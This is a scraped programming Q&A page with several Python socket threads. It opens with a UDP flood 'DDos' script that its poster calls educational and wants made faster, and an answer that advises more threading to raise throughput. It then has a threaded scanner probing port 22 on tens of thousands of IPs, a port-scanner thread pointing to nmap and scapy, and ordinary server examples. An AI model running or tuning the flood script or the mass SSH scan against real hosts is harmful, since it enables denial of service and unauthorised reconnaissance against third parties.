Python 2.7 DDos Script is too slow - python

I am trying to create a DDos Script (for educational use), however currently its too slow and is only using about 0.8Mb of my upload speed (out of about 20Mb).
UPDATE 3
I have removed the server connection code to try get this running fast enough and its finally fast enough to max out my upload speed (about 20Mbit/s). Now im just looking for a way to run the connection code on the side every 300ish times the main code is running.
import time, socket, os, sys, string, urllib2, threading
print_lock = threading.Lock()
def attack():
port = 80
host = 'target ip address'
message="#I am the bestest in the world. "
ip = socket.gethostbyname( host )
ddos = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
ddos.connect((host, port))
for i in xrange(10000000):
try:
ddos.sendto( message, (ip, port))
except socket.error, msg:
print("|[Connection Failed] |")
ddos.close()
def main():
print "DOS app started"
for i in range(10000000):
t = threading.Thread(target=attack)
t.daemon = True
t.start()
t.join()
if __name__ == "__main__":
main()
P.S: I'm looking into Cython however not sure of its functions yet.

Use threading because you can create much more throughput. Also, you're checking to see if the host is up really frequently. Instead, you could consider checking if the host is up every x attempts you try to access it.

Related

Threaded python SSH port scanner doesn't work

So I'm trying to make a program that scans the SSH port for IPs in a list. Because the process is painfully long I'm trying to use threading (I can use multiprocessing if it is more suitable for the program) to make everything faster but I'm running in a problem where the program says "Trying IP" (that's what it's meant to say every time it scans an IP) a lot of times without giving a result and then it gives the results (significantly fewer results than IP scans) and having other weird patterns. It should say Trying IP and then the result but it doesn't and even the result is always failing even if it does find IPs with the SSH port open. At some point I was curious if it misses IPs with SSH so I searched for an IP range that should have a lot of them and it only caught 2000 of them even if the guy who posted the class said he got 45000, yeah I know, maybe something happened and an insane amount of people closed SSH but no, I downloaded something called a "scanning archive" made by some Romanian hackers that had a SSH port scanner in it and when I scanned the same IP range I caught 6600.
So can someone help me figure out what is wrong with the code and tell me how to improve it?
import socket
import threading
from queue import Queue
from datetime import datetime
time_start = datetime.now()
SSH_ips = []
def scan(ip_number):
ip_try = ip_list[ip_number]
port = 22
try:
print("Trying IP")
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
result = sock.connect_ex((ip_try,port))
if result == 0:
SSH_ips.append(ip_try)
print("Found %d" % (ip_try))
else:
print("Didn't work")
except:
pass
def gulag():
while True:
worker = q.get()
scan(worker)
q.task_done()
q = Queue()
for x in range(15000):
t = threading.Thread(target=gulag)
t.daemon = True
t.start()
for worker in range(0, 65026):
q.put(worker)
q.join()
time_finish = datetime.now()
time_elapsed = time_finish - time_start
ip_list_lenght = len(SSH_ips)
SSH_ips.sort()
print("Found %s IPs in %s." % (ip_list_lenght, time_elapsed));
print(SSH_ips)
... what is wrong with the code and tell me how to improve it?
try:
print("Trying IP")
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
...
except:
pass
Please don't just pass on exception but actually check why it failed. It is likely that you run against the limit of open file descriptors and thus creation of a new socket failed. In this case of course no connection will be attempted to this IP address.
result = sock.connect_ex((ip_try,port))
if result == 0:
SSH_ips.append(ip_try)
print("Found %d" % (ip_try))
else:
print("Didn't work")
Similar here check why exactly connect_ex failed instead of just assuming that it failed because there is no open port on the other end.

Telnet reads double characters when running python server script

So I am new to python and I'm trying to learn some socket programming and the following script, when ran and connected to the server via telnet, returns me something like "hheelllloo wwoorrlldd" instead of letting me write "hello world" and then send the data. I've looked online and I've already tried to change the localecho setting in telnet and that didn't work either.
The servers script is:
import socket
import sys
import threading
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(('127.0.0.1', 10000))
sock.listen(1)
connections = []
def handler(c, a):
global connections
while True:
data = c.recv(1024)
for connection in connections:
connection.send(bytes(data))
if not data:
connections.remove(c)
c.close()
break
while True:
c, a = sock.accept()
conn_thread = threading.Thread(target = handler, args = (c, a))
conn_thread.daemon = True
conn_thread.start()
connections.append(c)
The code when ran should return the sender the text he sent. I think mine does it character by character, without pressing enter to send and I don't know why. I might be wrong though.
Also, I'm running Windows 10, if this matters.

python socketserver opening files from webpage

I am trying to make a small server that runs on local machines that will get a request from a webpage and open up a file in openoffice. This approach so far works. However, there are times when requests will not come through right away. When this happens I will wait for at least 5 seconds and then try to hit it a couple more times and then all of the requests come in at the same time. I would really like this to be reliable. Is there something I am missing that will stop this from happening? Any help would be greatly appreciated. Also I am aware that the way I am doing things may not be the safest. I am trying to make it functional and then will work on making it more secure.
import SocketServer
import subprocess
import time
class MyTCPHandler(SocketServer.StreamRequestHandler):
def handle(self):
# self.request is the TCP socket connected to the client
self.data = self.rfile.readline().strip()
print self.data
try:
if self.data != '':
st = self.data.split('\n', 1)[0]
#print st
st = st.split(' ')[1]
print st
if ".odt" in st:
p = subprocess.Popen('C:\openoffice\program\swriter.exe "'+st[1:]+'"')
time.sleep(1)
p.terminate()
except Exception as err:
print err
# just send back the same data, but upper-cased
self.wfile.write(self.data.upper())
PORT = 8081
httpd = SocketServer.TCPServer(("", PORT), MyTCPHandler)
print "serving at port", PORT
httpd.serve_forever()

Python Port Scanner with Threading

I am trying to create a port scanner in Python. I got the scanner going but it takes forty five minutes to print results. I started to institute threading however I can't figure out how to put different ranges into the script. I started to go to creating a global variable and try to pass that along in each thread. Unfortunately it's not working correctly and I am getting an invalid syntax error. Below is the code.
import socket
import os
import sys
from threading import Thread
server = raw_input("Please enter a server name ")
def portConnect():
global num
try:
serv_ip = socket.gethostbyname(server) # connects to server through try
print "Please wait, scanning remote host", serv_ip
for port in range(num):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = sock.connect_ex((serv_ip, port))
if connect == 0:
print "Port {}: Open".format(port)
sock.close()
except socket.gaierror:
print """
I can't find that server, idiot! Try again
"""
sys.exit()
for i in range(1):
t = Thread(target=portConnect,(num=100))
t.start()
What am I doing wrong?
Thread expects args= as tuple and it sends it as arguments to function
This way you send 100 as first argument (num) to portConnect()
def portConnect(num):
print(num)
# code
t = Thread(target=portConnect, args=(100,) )
To send range you need two arguments
def portConnect(from_, to_):
print(from_, to_)
for port in range(from_, to_):
# ...
size = 20
for i in range(1, 100, size):
t = Thread(target=portConnect, args=(i, i+size))
t.start()
BTW: module scapy lets you send single packet so it is used for portscanning, sniffing, etc.
You can do more with special tools like nmap (GUI wrapper: Zenmap) or Kali Linux
You may try to use nmap in Python: python-nmap : nmap from python
you can solve this really easily using nmap.
nmap -p- <some_host>

How to make server accepting connections from multiple ports?

How can I make a simple server(simple as in accepting a connection and print to terminal whatever is received) accept connection from multiple ports or a port range?
Do I have to use multiple threads, one for each bind call. Or is there another solution?
The simple server can look something like this.
def server():
import sys, os, socket
port = 11116
host = ''
backlog = 5 # Number of clients on wait.
buf_size = 1024
try:
listening_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listening_socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
listening_socket.bind((host, port))
listening_socket.listen(backlog)
except socket.error, (value, message):
if listening_socket:
listening_socket.close()
print 'Could not open socket: ' + message
sys.exit(1)
while True:
accepted_socket, adress = listening_socket.accept()
data = accepted_socket.recv(buf_size)
if data:
accepted_socket.send('Hello, and goodbye.')
accepted_socket.close()
server()
EDIT:
This is an example of how it can be done. Thanks everyone.
import socket, select
def server():
import sys, os, socket
port_wan = 11111
port_mob = 11112
port_sat = 11113
sock_lst = []
host = ''
backlog = 5 # Number of clients on wait.
buf_size = 1024
try:
for item in port_wan, port_mob, port_sat:
sock_lst.append(socket.socket(socket.AF_INET, socket.SOCK_STREAM))
sock_lst[-1].setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
sock_lst[-1].bind((host, item))
sock_lst[-1].listen(backlog)
except socket.error, (value, message):
if sock_lst[-1]:
sock_lst[-1].close()
sock_lst = sock_lst[:-1]
print 'Could not open socket: ' + message
sys.exit(1)
while True:
read, write, error = select.select(sock_lst,[],[])
for r in read:
for item in sock_lst:
if r == item:
accepted_socket, adress = item.accept()
print 'We have a connection with ', adress
data = accepted_socket.recv(buf_size)
if data:
print data
accepted_socket.send('Hello, and goodbye.')
accepted_socket.close()
server()
I'm not a python guy, but the function you are interested in is "select". This will allow you to watch multiple sockets and breaks out when activity occurs on any one of them.
Here's a python example that uses select.
Since Python's got so much overhead, multithreaded apps are a big point of debate. Then there's the whole blocking-operation-GIL issue too. Luckily, the Python motto of "If it seems like a big issue, someone's probably already come up with a solution (or several!)" holds true here. My favorite solution tends to be the microthread model, specifically gevent.
Gevent is an event-driven single-thread concurrency library that handles most issues for you out of the box via monkey-patching. gevent.monkey.patch_socket() is a function that replaces the normal socket calls with non-blocking variants, polling and sleeping to allow the switch to other greenlets as need be. If you want more control, or it's not cutting it for you, you can easily manage the switching with select and gevent's cooperative yield.
Here's a simple example.
import gevent
import socket
import gevent.monkey; gevent.monkey.patch_socket()
ALL_PORTS=[i for i in xrange(1024, 2048)]
MY_ADDRESS = "127.0.0.1"
def init_server_sock(port):
try:
s=socket.socket()
s.setblocking(0)
s.bind((MY_ADDRESS, port))
s.listen(5)
return s
except Exception, e:
print "Exception creating socket at port %i: %s" % (port, str(e))
return False
def interact(port, sock):
while 1:
try:
csock, addr = sock.accept()
except:
continue
data = ""
while not data:
try:
data=csock.recv(1024)
print data
except:
gevent.sleep(0) #this is the cooperative yield
csock.send("Port %i got your message!" % port)
csock.close()
gevent.sleep(0)
def main():
socks = {p:init_server_sock(p) for p in ALL_PORTS}
greenlets = []
for k,v in socks.items():
if not v:
socks.pop(k)
else:
greenlets.append(gevent.spawn(interact, k, v))
#now we've got our sockets, let's start accepting
gevent.joinall(greenlets)
That would be a super-simple, completely untested server serving plain text We got your message! on ports 1024-2048. Involving select is a little harder; you'd have to have a manager greenlet which calls select and then starts up the active ones; but that's not massively hard to implement.
Hope this helps! The nice part of the greenlet-based philosophy is that the select call is actually part of their hub module, as I recall, which will allow you to create a much more scalable and complex server more easily. It's pretty efficient too; there are a couple benchmarks floating around.
If you really wanted to be lazy (from a programmer standpoint, not an evaluation standpoint), you could set a timeout on your blocking read and just loop through all your sockets; if a timeout occurs, there wasn't any data available. Functionally, this is similar to what the select is doing, but it is taking that control away from the OS and putting it in your application.
Of course, this implies that as your sleep time gets smaller, your program will approach 100% CPU usage, so you wouldn't use it on a production app. It's fine for a toy though.
It would go something like this: (not tested)
def server():
import sys, os, socket
port = 11116
host = ''
backlog = 5 # Number of clients on wait.
buf_size = 1024
NUM_SOCKETS = 10
START_PORT = 2000
try:
socket.setdefaulttimeout(0.5) # raise a socket.timeout error after a half second
listening_sockets = []
for i in range(NUM_SOCKETS):
listening_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listening_socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
listening_socket.bind((host, START_PORT + i))
listening_socket.listen(backlog)
listening_sockets.append(listening_socket)
except socket.error, (value, message):
if listening_socket:
listening_socket.close()
print 'Could not open socket: ' + message
sys.exit(1)
while True:
for sock in listening_sockets:
try:
accepted_socket, adress = sock_socket.accept()
data = sock.recv(buf_size)
if data:
sock_socket.send('Hello, and goodbye.')
sock.close()
except socket.timeout:
pass
server()

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